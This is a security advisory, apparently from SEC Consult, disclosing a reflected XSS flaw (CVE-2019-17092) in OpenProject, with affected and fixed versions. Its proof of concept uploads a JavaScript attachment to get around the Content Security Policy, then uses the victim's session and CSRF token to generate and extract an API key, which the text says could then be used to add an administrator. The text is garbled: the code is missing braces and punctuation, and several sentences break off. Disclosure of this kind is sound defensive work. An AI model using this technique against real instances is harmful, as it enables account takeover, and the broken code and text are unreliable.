OpenProject CVE-2019-17092 – Cross Site Scripting

title: Reflected XSS vulnerability
            product: OpenProject
 vulnerable version: <= 9.0.3, <=10.0.1
      fixed version: 9.0.4, 10.0.2
         CVE number: CVE-2019-17092
             impact: medium
              found: 2019-09-27
                 by: David Haintz (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America


1) Reflected XSS vulnerability (CVE-2019-17092)
Within this proof of concept, two steps are done. First the JavaScript code to be
executed is uploaded as an attachment to fulfill the Content Security Policy of
'self'. In the second step the uploaded JavaScript code is executed through the
reflected XSS vulnerability by using a script-tag.

a) Upload JavaScript code
An attacker can upload a JavaScript file as attachment into any project in 

the default

configuration. The attachment can be called directly, but will be downloaded

automatically. But since the browser doesn't care if a file shall be 

downloaded or

displayed when loading it from an src-property, an attacker can easily use 

it for the

reflected XSS vulnerability.

In this proof of concept the following JavaScript code was uploaded:

(async () => {
  var csrf_param = document.querySelector('meta[name=csrf-param]').content;
  var csrf_token = document.querySelector('meta[name=csrf-token]').content;

  var req = await fetch("http://$IP/my/generate_api_key", {
      "credentials": "include",
          "headers": {
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
          "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
            "Content-Type": "application/x-www-form-urlencoded",
            "Upgrade-Insecure-Requests": "1"
      "referrer": "http://$IP/my/access_token",
      "body": "_method=post&amp;" + csrf_param + "=" + encodeURI(csrf_token),
      "method": "POST",
      "mode": "cors"

  var resp = await req.text();

  var regex = /(Your access token is:\<br \/\>\<strong\>)(.*)(\<\/strong\>)/gm;
  var api_key = resp.match(regex)[0];
  api_key = api_key.slice(35, -9);
  alert("Generated new API key: " + api_key);

This gets the CSRF token and the parameter name (since this seems to be 


and sends a request to the generate_api_key functionality. After parsing, 

the key is

exposed in a message box, but can be used for further operations like adding 


administrative user.